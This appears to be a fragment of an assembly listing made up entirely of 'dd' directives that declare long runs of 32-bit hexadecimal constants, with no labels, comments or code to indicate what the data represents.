dd 29B330h, 981CB2E2h, 5D1EE933h, 4B6EAD01h, 6F4A4CCAh
dd 0FEE60B7Bh, 8301F580h, 38002DE2h, 11FF5AADh, 9088D496h
dd 0B17DEFh, 9D28467Eh, 0F2A4C010h, 0F5A1361Fh, 38290B00h
dd 0EA42FFh, 19934ADh, 0A5E32858h, 0C200B9F6h, 69AE1D84h
dd 0EA2FD27h, 0D101F0Ch, 0F8E37D40h, 2002577Fh, 0D1958EFFh
dd 0AF184188h, 2C7024F7h, 29C100AEh, 6C1504F2h, 142F43Fh
dd 0E95018C8h, 13208DAEh, 62F023h, 4216E427h, 0AF1C843Ch
dd 0F736900h, 5338E7F4h, 0C0A24BFFh, 8215E496h, 244C8900h
dd 0BCC2F408h, 70740127h, 4B5C7C3Dh, 1822E814h, 571F5E00h
dd 0E647FC26h, 50A200D2h, 0C6083145h, 4E8C4D6h, 3F50E4F8h
dd 91263382h, 270BA3EEh, 48C800C3h, 7E525F1h, 4C592D2Eh
dd 1A24E033h, 0D20031B0h, 585067D1h, 901485E5h, 0E9C40009h
dd 3064124Ch, 0AB1E68B8h, 2F5D3353h, 4A59ACCCh, 0FE5A00B9h
dd 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch, 8025103Eh, 0A159E2A4h
dd 984BE623h, 242F862h, 2ECFB118h, 0C6405662h, 0FF1F3452h
dd 691F4B84h, 29906F03h, 7F1D018h, 98E6F601h, 0F03C165Fh
dd 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h, 2E0066C5h, 2DAC22B3h
dd 0FFF94CEh, 49B21723h, 554741C0h, 633EE75Bh, 4A089FABh
dd 89DCD243h, 0C72DDB72h, 0C4074B0h, 6EEB60ABh, 0D9C2F030h
dd 3DC18C48h, 353983E4h, 0D846F2B8h, 0EE1820h, 5C4D27D1h
dd 251C48B5h, 1162A10Eh, 2C57C0B3h, 3B5E37h, 0E85C136Dh
dd 4810358Ah, 0C3FC2B8h, 5BD183BAh, 0B51C57F4h, 0BFA32280h
dd 48F22494h, 0F3223057h, 0F13B8979h, 8B1300E8h, 5B45DB05h
dd 5F09024h, 38507BF9h, 6226C3E9h, 3560B4DAh, 2B059714h
dd 486F3917h, 0E85BD783h, 328230Eh, 0F981C5CBh, 1A052238h
dd 0F20AE9D2h, 70933C8h, 18F1EA46h, 0D9012BDCh, 0F1561527h
dd 1316F04Bh, 0B5372100h, 3A7930C4h, 12B21F2Ah, 0F41A682h
dd 88C3436Eh, 5DFBF210h, 7A94F998h, 0FF421B8h, 0EA13DDF8h
dd 800073AFh, 0EB16110Dh, 4E2B3EBCh, 490BA6CCh, 0CC03A513h
dd 0B8F05EC4h, 0F300F0A0h, 6D40703Eh, 7B64253h, 0FCDD6510h
dd 0CAEB7091h, 69053314h, 9809A25Bh, 56CB6B80h, 0A4D7CE7h
dd 10A02B2Eh, 0CFC04E1h, 2D68C8A6h, 0C7CC2C00h, 0EC1B0960h
dd 5AA01273h, 1F8F01A1h, 0E47A2EB7h, 8FFC5D16h, 0EC56682Ch
dd 8447521Fh, 0FC20DE64h, 6490A8D3h, 1FA1224Bh, 0B89D979Fh
dd 0A774ABC7h, 490EC491h, 5A1E60BDh, 2B25439Ch, 9C0C7CDh
dd 6D1FED19h, 0C2006A3Ah, 4034B81Eh, 8D130F0Dh, 71E35C89h
dd 1E3FEAA1h, 63108351h, 0D81F97DFh, 0FAED8F0Ah, 1E080059h
dd 0B2669634h, 2861A83Ah, 0ED4B0D7Bh, 44A64C4h, 0CE2970FEh
dd 167CD085h, 0E0EDFCEEh, 0B9071C09h, 5AD09F7Bh, 347480BBh
dd 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h
dd 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h, 9FEEF2A6h
dd 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h, 0AA3E3EEFh
dd 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh
dd 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h
dd 521B102Ch, 214F9E7Bh
dd 3C59F812h, 0FC8CE9E7h, 4008006h, 0FAE287F0h, 0E2D0D6BAh
dd 0D38900E9h, 84B2A36Eh, 8F00F033h, 0BB31C413h, 881438h
dd 0A58552C0h, 7C428CC5h, 7C6BF048h, 87E28024h, 52F74400h
dd 922282Dh, 0F049B3A8h, 0E2B7B103h, 0C1A78CD0h, 7B09C5B0h
dd 8F7E2Ah, 8834ACCDh, 5C85F665h, 14007990h, 430DFCF1h
dd 0A21F9EBCh, 64C49C21h, 0E3C0040Ch, 0FC44173Fh, 860904B6h
dd 806FD3E9h, 8F899906h, 1336F100h, 65E39327h, 0EF0248FCh
dd 0FE7B5400h, 0C624D4A6h, 0D913F116h, 3837BD00h, 0D4189h
dd 5F096F7Bh, 687E5A99h, 800006B8h, 428FF21Ch, 0F5DD255h
dd 4A259A9Ch, 0E991C743h, 0D07E3580h, 9EEE3403h, 0C72FD433h
dd 9F5B96F0h, 0D1F001C1h, 10B26E7Fh, 38B7F0A9h, 0E4A8C200h
dd 64891555h, 2B7114h, 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh
dd 41A9F307h, 0ED155E0h, 0ACD93B4Ch, 8B0F4B3Eh, 80A15061h
dd 6592D243h, 0BE8DF32h, 3CFA082Bh, 0C5E52D0Fh, 5E34A787h
dd 21062090h, 7EF34CCCh, 48030800h, 0F8F2AED4h, 94D79F00h
dd 2B12D63Fh, 88A91DD2h, 0F44240B8h, 56080CC8h, 0F172D307h
dd 606F50FAh, 46BAD6A5h, 0E6550012h, 23AB5FACh, 0B00C42Ch
dd 2EF49D04h, 0A43C30h, 0CE034C7Fh, 0C941062h, 9F508800h
dd 12D71114h, 0F2570089h, 54521F1Dh, 3307E3A5h, 190ACAA3h
dd 12504AE0h, 3A580991h, 0F802108h, 47E4A542h, 97487E01h
dd 0F08C638Eh, 70282E81h, 0F4EA0658h, 0C4008312h, 849CBD1Ch
dd 70FE14B8h, 51530030h, 0B31FC89h, 3D0083C9h, 646D43Ch
dd 177D04h, 868A164Eh, 7536EDE0h, 3890F00h, 41AEC383h
dd 67F93D8Fh, 0F81FEB85h, 0A593802Fh, 0F0001312h, 5A76D0BFh
dd 95FA80h, 431CAE52h, 0E0D933F4h, 1C80600h, 0ABCAD1C0h
dd 0D750024h, 184EC636h, 27001653h, 6C38FFECh, 7C82FEB8h
dd 8A13005Dh, 0EA704A48h, 0D726812h, 5900A2EAh, 42CE4DB6h
dd 3050CE6h, 1CDA0849h, 20D85B14h, 76002734h, 402D4258h
dd 0C1F041h, 3905E624h, 5312EF97h, 0FB005DECh, 4945D733h
dd 15C940Fh, 810834B0h, 0F025BFC6h, 24000901h, 28007F2h
dd 1EE231h, 0D6D3E30Bh, 32A221E6h, 907C4A00h, 0B833F934h
dd 0F86A1E42h, 0C910170h, 6FDE1A9Fh, 16E06E00h, 28E7EDh
dd 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh, 10476068h, 3956CE2Ah
dd 1F764D5h, 9A531EE7h, 6011F121h, 6A0434A5h, 543AA074h
dd 0A18E4BC1h, 42F3C8h, 1E0FE368h, 84F2E8B2h, 38FA3000h
dd 9C2351FBh, 321100AAh, 8E501847h, 0E1EEA1F1h, 4A8F0700h
dd 46D6FCCEh, 20BC001Ch, 6FCCFB87h, 0D51E28C8h, 23002C90h
dd 34435E30h, 8D3800FCh, 0B21A3CF9h, 64001F40h, 48C86B44h
dd 244C917Fh, 9223BFh, 55AD5442h, 0C60372F8h, 0CFA0B58h
dd 0AA5A98A5h, 0E5C800F6h, 6F32255Ch, 84B853F8h, 6029BE03h
dd 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h, 0F9E2F483h, 68C8BE4Eh
dd 0F000522Eh, 598D6CE8h, 0B70F70h, 7890DD28h, 58877CFBh
dd 0BF24B401h, 0F3A7CCF2h, 726A21ECh, 5DF60384h, 1C8862B2h
dd 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh, 0FFA58090h, 0A21B94D1h
dd 44350098h, 0A0887A9Ch, 0A40310D5h, 11425FBAh, 0F7DCC8E9h
dd 84670E92h, 0FD40A835h, 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh
dd 3B0CDBF5h, 2DAC4400h, 6FE60B27h, 331F0BEh, 1CDD2E72h
dd 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah, 3CF059C6h, 280047FBh
dd 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh, 0F004255Fh, 316B8ECh
dd 0F6542191h, 0BCB185DDh, 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h
dd 48F7AC4h, 1DA032F1h, 1660C5E2h, 0ACCC431Dh, 81DE42CFh
dd 3788D5D0h, 3FD43280h, 72DF70C4h, 623DD800h, 0DC19F29Bh
dd 0E6F1010Eh, 0E0210B61h, 0D003CDD6h, 6A00E464h, 77DF58C4h
dd 1FF63FA2h, 8091621Fh, 0B11EEC39h, 0C58F3BCh, 7780BCAh
dd 0F4870063h, 2C4ABAh, 886F883h, 0CA62C1D6h, 0FC957703h
dd 0F08BD235h, 1D0105E7h, 0C3A33174h, 3994DAEDh, 575DD797h
dd 2EA5C208h, 10CCBE0h, 10C46B1Dh, 14C83F02h, 0AA34C0F5h
dd 0FC1C0221h, 0C6E92046h, 828F584h, 0FE30002Ch, 46743423h
dd 3CA83800h, 1A40518Fh, 35441FA2h, 0B4098F12h, 0BB7374E0h
dd 0DE005020h, 11C2FB0Dh, 5B5458h, 2C7B1BEBh, 48C481D8h
dd 2879BD00h, 7FC8FCCBh, 8B1C09CCh, 0DDD402h, 803FB9B4h
dd 88FC31h, 86E0B54h, 0EA7585C1h, 0D16AFE00h, 24483266h
dd 0E27F00E7h, 15FF02ECh, 42756338h, 741F1A7Ah, 840111DCh
dd 0E4BAC766h, 1E90ECh, 0FF5014E3h, 0C1E0166Fh, 3205C000h
dd 49420902h, 7DF60075h, 0F1FF1B0Eh, 0C01F8330h, 0D2C00A80h
dd 0E3672674h, 21230054h, 0DB310353h, 302F1A8Ah, 16DD4C3h
dd 332F6225h, 0AF1870FBh, 5F5CC600h, 305BEB29h, 82960136h
dd 7E908173h, 3B8ECE3h, 3C01AF98h, 0C6BFC241h, 7DC06BCh
dd 9C70038h, 0CC5C105h, 1717E29h, 87C0CC3Bh, 0CD410D80h
dd 7C10F60h, 0CE810ECFh, 0AC30E40h, 0CB90CA87h, 11E0B80h
dd 9DDC0C9h, 0C84108C7h, 18F7D8F7h, 0D9671947h, 0DBC11B00h
dd 0DA1C2881h, 21E67EBh, 0DF47DEh, 0C0DD011Fh, 71881D5Ch
dd 1DC4138h, 81D4C114h, 15C040D5h, 0C0D70001h, 41168017h
dd 0D2E4D678h, 13EC12E8h, 2D37000h, 81D1C111h, 0E0400CD0h
dd 309AF05Fh, 0F141F5A0h, 0C13033E0h, 40F28AF3h, 361E3932h
dd 0F738F63Ah, 0F5013702h, 340135C0h, 3CC0F441h, 81FC10C1h
dd 13D04FDh, 2083C0FFh, 0FE8A393Eh, 3A3BFA3Ah, 0FB703B00h
dd 0F9C13901h, 40F8810Eh, 8128CE38h, 41E677D9h, 0EBC829FDh
dd 802B07C0h, 25EAE12Ah, 1F0FAEEEh, 0C0EF0F2Fh, 0ED0BC12Dh
dd 78EC6381h, 24DBE456h, 41259A00h, 12713E5h, 0E6810084h
dd 22C12640h, 0E10AF631h, 0E723E0E3h, 21C0033Bh, 0D7412080h
dd 60F7A0D7h, 0A1D761B7h, 0EF0063E5h, 40A281A3h, 97762h
dd 0A787A629h, 0A5016780h, 64DC6581h, 0EA47041h, 81ACC16Ch
dd 6D40AD00h, 0C001AF01h, 6E1E806Fh, 0AAD1AE41h, 6BE06AD9h
dd 0AB701Ch, 81A9C169h, 687040A8h, 0B8027867h, 7900B947h
dd 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh, 7F0E7EBBh, 7D00BF70h
dd 0BC81BDC1h, 0DE7C4030h, 2674C0B4h, 3BE17580h, 0B7CE7730h
dd 403BB681h, 87720E76h, 80B340B2h, 81B10173h, 4170DC71h
dd 5010B070h, 910090C1h, 93015140h, 528053C0h, 76927441h
dd 1C567896h, 1971C57h, 8195C155h, 54CD4094h, 0C0019C01h
dd 415D805Ch, 5FE49D70h, 819F07C1h, 615E409Eh, 0C89AE15Ah
dd 5B60E09Bh, 59C099BEh, 41581F80h, 0DD88DF98h, 9F491D48h
dd 0CE4B9889h, 8A1D818Bh, 4E874A40h, 8F208E87h, 40014F80h
dd 4CEE4D8Dh, 88C4138h, 0B84C144h, 0B1814085h, 8747C087h
dd 864146CEh, 42678247h, 831C4380h, 0C19C003Dh, 38EC6681h
dd 7C07A8DBh, 0E389520Fh, 9CFCE410h, 0C158388Bh, 104359Dh
dd 899D505Dh, 0DFA03016h, 0C21E927Ch, 204099B2h, 904210Ah
dd 5F531D0Eh, 0A20FC0C8h, 36E0882Ch, 5B013B18h, 5ADC3Eh
dd 0C8E36E59h, 410EA582h, 3446161Dh, 3E0EACD8h, 3EE42h
dd 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h
dd 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h
dd 0F4154CF0h, 30F64Bh, 0A101B247h, 0E8217061h, 6E1BBB1Eh
dd 0D63A9680h, 63CF2Ch
dd 56FF3083h, 0AD0F4B04h, 6636E900h, 0E828141Ah, 5E1E00EBh
dd 0D060EEC6h, 51005652h, 8EBAFC02h, 9C3B24h, 4D17C877h
dd 30AC0B0Ch, 0F5B0C200h, 6738B82h, 9A8C0060h, 0C1A707F3h
dd 7503C8FEh, 0C9094981h, 0DF6A9AD7h, 647FF8E0h, 69D64400h
dd 0FF9C181Fh, 75500079h, 0EE10595Dh, 0AC074514h, 2FA83D05h
dd 25447EF0h, 4F61015Eh, 0C86FF488h, 0FC0680F8h, 1F75F24Dh
dd 0CCD000D5h, 3B67AC55h, 0A6007306h, 16C60FFh, 0E6E82B70h
dd 467B00D0h, 570CF8C9h, 72075002h, 8DB38615h, 6FE82730h
dd 0EA42588Fh, 65315700h, 0DB85D873h, 110076FCh, 0D13BCC5Eh
dd 2ED25274h, 0E77D6h, 758D5713h, 0EB0002AEh, 1904B998h
dd 95F95Fh, 6A7A1E46h, 0AE1F42B0h, 3D01C978h, 47CB80DFh
dd 76D0A201h, 2516001Dh, 0C0FEB005h, 8C0E5567h, 0C0AA9854h
dd 5A38CAE9h, 8B28031Dh, 0D3CCA396h, 29A9B388h, 80EC0C39h
dd 1E202E6Dh, 0E8D5F8h, 99FFD271h, 88B83B75h, 50EAC702h
dd 0E37E5FFEh, 42588802h, 0BD41006Ch, 2A3D7145h, 200DEE2h
dd 23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h, 40C3D500h, 0C28104FFh
dd 0D7720095h, 0F8F1341Bh, 0AF00A438h, 0D339D05Bh, 7F9475C1h
dd 4D2E0390h, 5C258908h, 71F246F0h, 0A5F34B00h, 0CE398E91h
dd 112E00C1h, 82F7CAABh, 0C3008130h, 65C9C455h, 0EF039F1h
dd 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h, 5071025h, 6F4AC15Ch
dd 3A144143h, 0F01EBACAh, 18A886F7h, 0B33C4E82h, 1C0374A5h
dd 0AC25AE12h, 2063C72Eh, 0A4102005h, 950F24EEh, 0FD299D71h
dd 0AB042800h, 0FF4B9689h, 0C89BEF71h, 30B3718Fh, 10878021h
dd 52801E34h, 938013Ah, 97791257h, 0F3C10E0h, 9472B84Ah
dd 0DE041DFDh, 8A6A0005h, 0FA9553F2h, 448C64DEh, 1F22A618h
dd 8FA5F163h, 9C362F9h, 92072C11h, 0A9F35C88h, 0E858FBD3h
dd 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h, 141EEB67h, 2305EAF3h
dd 47914EDAh, 40443C20h, 0CA106141h, 86164839h, 524A1CEh
dd 6F315314h, 20C897Ah, 48202523h, 0C3001CBCh, 0E9880534h
dd 43AD0677h, 4108A28Ch, 811C0D44h, 2301206h, 0C901FF64h
dd 90E04D09h, 33F200F7h, 0F350F172h, 84000469h, 0B22A2041h
dd 296EECh, 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh, 6B002812h
dd 38201042h, 0D6591F95h, 0A1880336h, 13B01757h, 0CA7EAC4Ah
dd 1003A2F0h, 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh, 2C2864FEh
dd 84A403A9h, 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h, 18598832h
dd 90067D24h, 713F8CE3h, 3044802Bh, 6625AB12h, 0C83CFE68h
dd 8905B4Bh, 0A5185020h, 4576D4C4h, 0BCB0424h, 0C1F15ECAh
dd 708806A1h, 3A3D56ABh, 313F46h, 165BF362h, 1E7F740Ah
dd 5F2FC8AAh, 0F08E80D9h, 110F5D42h, 1C041433h, 0F2D4D324h
dd 5F9C808Dh, 63E61559h, 78189C92h, 0D230CCAh, 8921BDAFh
dd 0E2F89502h, 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h, 0C43E2B7Fh
dd 25AA8C3Ch, 80184AE0h, 3488D544h, 0CAA8204Ah, 7F2E148h
dd 57BEA22Ah, 54C221F9h, 0F1FC4AB3h, 89B0C308h, 91FC5EA8h
dd 9E9D51E0h, 1804168h, 4A3CB06h, 84E07A9h, 500C56E0h
dd 0F4B8745Dh, 430D6800h, 0D0388817h, 7685EA14h, 0DCEE0044h
dd 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh, 1C1F700h, 741CD9Eh
dd 0D1048A49h, 300A7332h, 3BF90FC3h, 3CE9E827h, 4002D907h
dd 66D00D18h, 74048B1Dh, 1E331C4Eh, 80899F4Ah, 83A52E4Fh
dd 203E0C66h, 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h, 44470399h
dd 9CF0E169h, 483AA63Bh, 0A9218057h, 0B0683CE4h, 647585h
dd 0B80A7320h, 55357469h, 0C305E901h, 0B448F87Eh, 47CCEC40h
dd 0A95A00C5h, 9E159204h, 8B308D5Bh, 123BB222h, 95D300BCh
dd 5083440Dh, 0FE03380Fh, 17045257h, 8908A314h, 0F7F8F070h
dd 119A00CAh, 275C08Bh, 15392B94h, 9E059CA9h, 0FE081380h
dd 749CB254h, 61800E1h, 2F23B459h, 0FA03A25Ch, 6445A88Bh
dd 71C59088h, 804D01C3h, 8F26A69h, 172DE4D3h, 5D277005h
dd 0F1ACBCB4h, 2B157300h, 0CBF956FBh, 0A4E37A00h, 1C071B12h
dd 0DE98004Eh, 0C8EB722Ah, 7300CF26h, 0D0AC795Eh, 0F7D51A2h
dd 1AA42BDBh, 19582163h, 60E4D7D1h, 17039156h, 4FA9A276h
dd 0F85FC30Bh, 788AE7Eh, 0D1BE5355h, 1BEC80E8h, 5E005B2Fh
dd 0E2F77208h, 1E5FDC8h, 5181AD1Fh, 6132B9C6h, 0F18CC8C0h
dd 36F02200h, 0D01931BBh, 0F56D0EF8h, 50C18624h, 0E4F49A52h
dd 5600F203h, 9636641h, 1D4B9085h, 9DBFFB83h, 948F00ACh
dd 0FA71EA55h, 0F0F27A00h, 7B9B1028h, 14030F3Bh, 0AE611872h
dd 0CC51B375h, 1002372Ch, 0F3F0344Fh, 0FEE340A6h, 89F400E3h
dd 2EBF804h, 0C800C031h, 0BF841090h, 0C970F1h, 3C7FB12Bh
dd 1A961130h, 41D24124h, 3DA5C100h, 7F349455h, 36640043h
dd 0F7C90F4h, 1AFC54B6h, 4B0E9490h, 0C0F9D101h, 7C5D81C7h
dd 4CD701E2h, 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh, 0EB4BC0FFh
dd 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh, 91005ADCh, 580BC98Ah
dd 7402320h, 151AD042h, 3DEB6013h, 1B04E57Ch, 8D78384Ah
dd 54704D87h, 70486443h, 0EAD13F07h, 7CD28580h, 0B58AFA12h
dd 750B7800h, 881E1C01h, 0E800318h, 4A02C083h, 91EF51E0h
dd 60BD3A03h, 0D04BFCC8h, 3D49B13h, 6A2AC22h, 8DB1FDB4h
dd 0DA8BE4C0h, 0F41246EEh, 0DF013926h, 30A58559h, 0C428C1EFh
dd 98C017D8h, 8E02007Ch, 6854A118h, 0AC9083F6h, 85000F79h
dd 9541015Fh, 39FD3B0h, 1913CC45h, 0A2900D66h, 4207D55Ch
dd 1A6CFD9Dh, 68D103F0h, 0C0322E24h, 0C7C500EFh, 1F1EB5FFh
dd 1764DB00h, 5A8C5452h, 0E5A400A8h, 34FB1056h, 0D7008209h
dd 85890147h, 7598ABCh, 2F06BD83h, 91590FEh, 8B005184h
dd 1CEEAA41h, 803108h, 9FA6C721h, 7C86C2FFh, 9715C800h
dd 0B80D55F9h, 2FB90070h, 3E64B5E2h, 20048D0h, 27DC14B2h
dd 44B820h, 50143D4h, 0B566281Bh, 830F3D05h, 0C1BE1CC6h
dd 8E431330h, 0A03C6BC4h, 50887281h, 1F2F010Ch, 3916F76Ah
dd 8C8F878h, 39A0200h, 80B96019h, 0C1FE00E2h, 0CAB1DFE7h
dd 440099A0h, 35062005h, 3C3438Dh, 48777EB8h, 2C991F68h
dd 80CD4A5h, 40D05900h, 0D250C653h, 0FD8A3AE7h, 0F6BF2780h
dd 0E0B41B4h, 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h
dd 810FF9EEh, 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh
dd 463576DAh, 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah
dd 3AC07788h, 7FBD14Ah, 956EEB62h, 9D8B50CEh, 83184787h
dd 14D010F0h, 0D4D63C97h, 0B0FE880h, 53D23E01h, 8A71CD00h
dd 0B78E13B9h, 26100027h, 164AAB95h, 63EED84Eh, 0EC835707h
dd 89D1673Dh, 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh
dd 0EC5EDD2Fh, 2130879h, 982E8B5Ch, 0A5606353h, 0CC03A869h
dd 28853AF3h, 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch
dd 56004441h, 5357AED6h, 0D83900FAh, 68518376h, 0CA00AD3Eh
dd 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh, 0F0444007h
dd 805973BFh, 114BD920h, 0EFE3A69h, 552D098Eh, 78FF3C3Eh
dd 23725C21h, 9A0AFF0Eh, 0EB50DA40h, 591FB525h, 6F00794Ah
dd 50CE8EDh, 7112F675h, 784D00F8h, 7CA85DF0h, 1F1345E1h
dd 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h, 523CA546h
dd 4CC75700h
dd 8DF3C959h, 0BBF60054h, 40E06BBAh, 0BF0B3CD5h, 0B59F9Ah
dd 44CE4653h, 6BF300B7h, 0A2EEF47Bh, 2400D23Ch, 705C9D64h
dd 42C0B4h, 0E4534AFEh, 8D6DD0AAh, 0D700C8FCh, 9772EF0Dh
dd 8FE8C3h, 98E0138h, 2C03C766h, 43C2830Fh, 7F084106h
dd 3AD08107h, 0CCB00F0h, 0E2EACBFh, 2014510h, 2D4C6A30h
dd 0B09FC32Bh, 132C0732h, 121CF018h, 11C1D08h, 80B91E80h
dd 8B0EC020h, 31473h, 0EE930C69h, 0F29FEDAh, 2C6EE000h
dd 8C046865h, 43C43EB5h, 20748680h, 80401C93h, 758D3803h
dd 0F9601317h, 2870A203h, 53620B72h, 0CC80C214h, 55B39296h
dd 4A00DB79h, 541825BCh, 852120h, 0A542F4ADh, 0DE973E16h
dd 3441331Fh, 2B1A8179h, 85240F4Ch, 1D453E9h, 0C9E7A06Fh
dd 0C2C40709h, 0D021E365h, 0FACF4F94h, 127113Ch, 0BD47B85Bh
dd 0EC85422h, 4CBE00B0h, 6303E179h, 443D6C61h, 65768072h
dd 0EC749530h, 3A430E50h, 75A0CCB4h, 6C118721h, 1D7CA13Bh
dd 9C80890Ah, 0C58B730h, 87D4009Fh, 0DB45C6E1h, 100009BFh
dd 404D8D43h, 50DA1463h, 0D9B45Ch, 74C3FB3Ah, 0E9870CBEh
dd 0F1044F98h, 63DE9515h, 0CCC0F2C7h, 75804CFEh, 755A00F3h
dd 0E7F9DF5Fh, 550025DDh, 450F43Bh, 1F84F335h, 336F42h
dd 9F90E82Eh, 0CC00E446h, 0DC09E03Fh, 1F41F1h, 17122211h
dd 870D072Bh, 0AF0F8000h, 9CADC75h, 0B8A02E0h, 3EF708BAh
dd 0EC55D660h, 0CA6C51Eh, 89F8F3CAh, 0D9B47C01h, 50E46E53h
dd 232A0208h, 28877141h, 3B83FC80h, 76B8D12Eh, 0E10A300h
dd 0DD114178h, 0B66E0003h, 72040C28h, 8A7B1812h, 3A3901F2h
dd 0E758250h, 41020742h, 78E95303h, 1CCBC4h, 522249FFh
dd 85BABE45h, 0A2315D00h, 0A36F5853h, 0FFC50F11h, 88E0C733h
dd 5A65372Bh, 0FE2A8200h, 0C0B70F02h, 0F84D0067h, 9A72F9B5h
dd 8F076D17h, 0E78BAAFDh, 2ABF0370h, 311600CFh, 58633F23h
dd 6DF6D761h, 0FC55C000h, 8D95FA2Ch, 91BD072Ah, 0B0EA4C39h
dd 5F0B4D93h, 1D7D8F00h, 909C1FBCh, 0AEAD0141h, 0C55880D6h
dd 70182023h, 1DCCA13Bh, 5280880Ah, 0EC2CA7D4h, 54A3022Dh
dd 29B63D8Dh, 0A51A0560h, 0EB97E48h, 0E0F3CB9Ch, 440C2A20h
dd 5089077Ch, 51100DD1h, 61E91977h, 0A6C3202Fh, 1500E8F4h
dd 28799020h, 2D058Bh, 1CDB313Fh, 0DAC043C1h, 74D80100h
dd 0E31DD112h, 0C0E0072h, 0F61485E1h, 0E42CC8FCh, 7300CBDAh
dd 785152F2h, 0FB600023h, 0C131A00Dh, 20E14E1h, 54B98Dh
dd 0AEF3FD4Fh, 790B8FCh, 1CA483ACh, 0E9ABA204h, 70816641h
dd 4717BA62h, 0C50040A7h, 27A09184h, 24F50774h, 0F8FA80h
dd 0FC1390Dh, 920060FEh, 1D495057h, 8CFE89h, 0EE475DDBh
dd 159862B8h, 81268D7Dh, 1612E344h, 0AE80841Fh, 1418F51Bh
dd 42933A84h, 0BB00753Bh, 7378E5A7h, 2300A56Ah, 3E797769h
dd 8D760Ah, 56423514h, 0F429DBB2h, 5C0038EEh, 0EA72A5EBh
dd 0E2D14B0h, 39FC5A61h, 905C7C0h, 93E47648h, 458C3C00h
dd 94BAEC3Eh, 75F500C5h, 9198548Bh, 0C10074B1h, 3A77EF56h
dd 0A9D319h, 0EBE2BB0Dh, 4910434Fh, 0DD07901Fh, 75623000h
dd 26961Bh, 0E9855BA5h, 103D154Ch, 0A316A80Fh, 0B9A9E7A7h
dd 147D8BD0h, 5FB60028h, 8F805E5Bh, 173936E9h, 95380C9h
dd 480F34C3h, 4CAE4C41h, 7794050Ch, 830011BCh, 0C958F631h
dd 0D9B81Ch, 240A7EFFh, 0F70545B5h, 0C201E300h, 0DF8DD284h
dd 35460E1Ch, 89800615h, 40E3E2D7h, 14012A07h, 3C203B11h
dd 1E4199F0h, 0C08944BEh, 1525F7FEh, 0C3006978h, 3519010h
dd 0B823A905h, 495A038Eh, 7180A5C8h, 790407E0h, 93893200h
dd 46B0095Ch, 82DC1FE2h, 0A314C084h, 0BA1C1318h, 97920400h
dd 0E8BF6793h, 0CCA006Fh, 0B2FF9415h, 3D008BC5h, 0D43B060Eh
dd 7D485Ch, 82B13E2Ch, 1A72D939h, 8D6C9000h, 9149E534h
dd 3C75DDh, 0A47DA6F8h, 460FA712h, 0E1541A00h, 7C8848A5h
dd 77190094h, 4CEFEA99h, 0FF073534h, 4D21832h, 0A8C35B40h
dd 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh, 0FA81F800h, 4BBF4F0Ah
dd 878A00D1h, 0FDA68846h, 0F62E410Ch, 0BB0EF43Dh, 27902023h
dd 3AF8F06Ah, 190096F9h, 0D5D20A0Ch, 100E954h, 0D3445E9Fh
dd 0D8EE02h, 9B750852h, 48711CDDh, 2AC31000h, 3B558F8h
dd 33C812A0h, 8FF05DBh, 57A9019Fh, 0FC2DE241h, 0C174D0D2h
dd 8A49C200h, 8EF83BCAh, 73200FBh, 87D5355Ah, 9D0088F1h
dd 0C8D0E44Ch, 184351C1h, 66085D3Bh, 42001D40h, 0EFD6934Eh
dd 1F90ABDCh, 40106A12h, 3075448Dh, 0AC09B93Fh, 9109B5h
dd 0F5EF123Eh, 8BF61EC4h, 0DD807E06h, 0BE11F9ECh, 0CA2C4128h
dd 803FF28Dh, 0E0EB4AD6h, 5BF782h, 0F8C7448Ch, 0D0FB5FEFh
dd 4A8A330Fh, 95F58013h, 3FF0DA2h, 0F72765C5h, 56D0B614h
dd 85395917h, 0CB4800EAh, 0D947EBCh, 158A0582h, 81615E4Ch
dd 0F00F1032h, 35170BC3h, 700F3C5h, 0E37F02BAh, 0B1E40074h
dd 0C8F26FA9h, 9C00A892h, 0F385E83Eh, 127B81h, 8B414C87h
dd 0D03D1880h, 0D6732600h, 830FDFA7h, 124300E5h, 60890C24h
dd 0DF901A90h, 59EF1000h, 5D88A03h, 352900CBh, 0BA37DCD2h
dd 7200DAC1h, 22124E1Fh, 1772110h, 0C6F7690Dh, 402BACCEh
dd 0CB2519B0h, 1F947500h, 0DD1802F3h, 5E1D0064h, 913BA40h
dd 0E800CEFAh, 0F535AE4Ah, 53CCA9h, 0D9D24EFFh, 897F4801h
dd 16C90A07h, 64C158FCh, 0E6600E19h, 2833B32h, 3E92042Ch
